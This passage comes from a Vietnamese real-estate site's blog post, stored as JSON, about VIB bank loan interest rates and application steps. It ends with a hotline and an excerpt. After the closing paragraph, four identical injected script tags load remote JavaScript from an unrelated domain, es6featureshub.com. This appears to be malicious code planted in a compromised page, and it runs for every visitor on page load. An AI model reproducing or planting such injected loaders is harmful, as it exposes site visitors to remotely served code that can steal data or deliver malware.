\u0111\u00f4\u0300ng lao \u0111\u00f4\u0323ng.<\/li>\n<li>Gi\u00e2\u0301y cam k\u00ea\u0301t mu\u0323c \u0111i\u0301ch s\u01b0\u0309 du\u0323ng v\u00f4\u0301n va\u0300 ph\u01b0\u01a1ng th\u01b0\u0301c thanh toa\u0301n.<\/li>\n<\/ul>\n<figure id=\"attachment_39215\" aria-describedby=\"caption-attachment-39215\" style=\"width: 615px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-3.jpg\" rel=\"lightbox-2\"><img decoding=\"async\" class=\"wp-image-39215 size-full lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-3.jpg\" alt=\"L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay\" width=\"615\" height=\"415\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-3.jpg 615w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-3-300x202.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/08\/lai-suat-ngan-hang-vib-hien-nay-3-150x101.jpg 150w\" data-sizes=\"(max-width: 615px) 100vw, 615px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 615px; --smush-placeholder-aspect-ratio: 615\/415;\" \/><\/a><figcaption id=\"caption-attachment-39215\" class=\"wp-caption-text\">L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay<\/figcaption><\/figure>\n<p>Sau khi ti\u00ea\u0301p nh\u00e2\u0323n h\u00f4\u0300 s\u01a1 cu\u0309a kha\u0301ch ha\u0300ng, nh\u00e2n vi\u00ean cu\u0309a ng\u00e2n ha\u0300ng se\u0303 ti\u00ea\u0301n ha\u0300nh xa\u0301c minh ca\u0301c gi\u00e2\u0301y t\u01a1\u0300 vay v\u00f4\u0301n. Kha\u0301ch ha\u0300ng se\u0303 \u0111\u01b0\u01a1\u0323c t\u01b0 v\u00e2\u0301n v\u00ea\u0300 go\u0301i vay, m\u01b0\u0301c la\u0303i su\u00e2\u0301t va\u0300 ph\u01b0\u01a1ng th\u01b0\u0301c thanh toa\u0301n tr\u01b0\u01a1\u0301c khi thi\u00ea\u0301t l\u00e2\u0323p h\u01a1\u0323p \u0111\u00f4\u0300ng. Ngay sau khi ki\u0301 h\u01a1\u0323p \u0111\u00f4\u0300ng, ng\u00e2n ha\u0300ng se\u0303 ti\u00ea\u0301n ha\u0300nh gia\u0309i ng\u00e2n v\u00f4\u0301n vay, mu\u00f4\u0323n nh\u00e2\u0301t la\u0300 sau 48h k\u00ea\u0309 t\u01b0\u0300 khi ki\u0301 h\u01a1\u0323p \u0111\u00f4\u0300ng, kha\u0301ch ha\u0300ng se\u0303 nh\u00e2\u0323n \u0111\u01b0\u01a1\u0323c v\u00f4\u0301n vay.<\/p>\n<p>Tr\u00ean \u0111\u00e2y l\u00e0 nh\u1eefng th\u00f4ng tin v\u1ec1 L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay. N\u00ea\u0301u co\u0300n b\u00e2\u0301t c\u01b0\u0301 th\u0103\u0301c m\u0103\u0301c na\u0300o, ha\u0303y li\u00ean h\u00ea\u0323 tr\u01b0\u0323c ti\u00ea\u0301p v\u01a1\u0301i chu\u0301ng t\u00f4i qua hotline <strong>1800 8085<\/strong>\u00a0ho\u0103\u0323c \u0111\u00ea\u0309 la\u0323i th\u00f4ng tin\u00a0d\u01b0\u1edbi \u0111\u00e2y, ca\u0301c chuy\u00ean gia cu\u0309a chu\u0301ng t\u00f4i se\u0303 gia\u0309i \u0111a\u0301p cho ba\u0323n.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay &#8211; m\u1edbi nh\u1ea5t 2023 l\u00e0 bao nhi\u00eau? C\u00f9ng RETI c\u1eadp nh\u1eadt chi ti\u1ebft trong b\u00e0i vi\u1ebft sau \u0111\u00e2y. L\u00e3i su\u1ea5t vay ng\u00e2n h\u00e0ng VIB hi\u1ec7n nay\u00a0\u00a0 L\u00e3i su\u1ea5t ng\u00e2n h\u00e0ng VIB\u00a0m\u1edbi nh\u1ea5t\u00a0khi vay v\u1ed1n dao \u0111\u1ed9ng t\u1eeb 7,8% &#8211; 9,9%\/n\u0103m. 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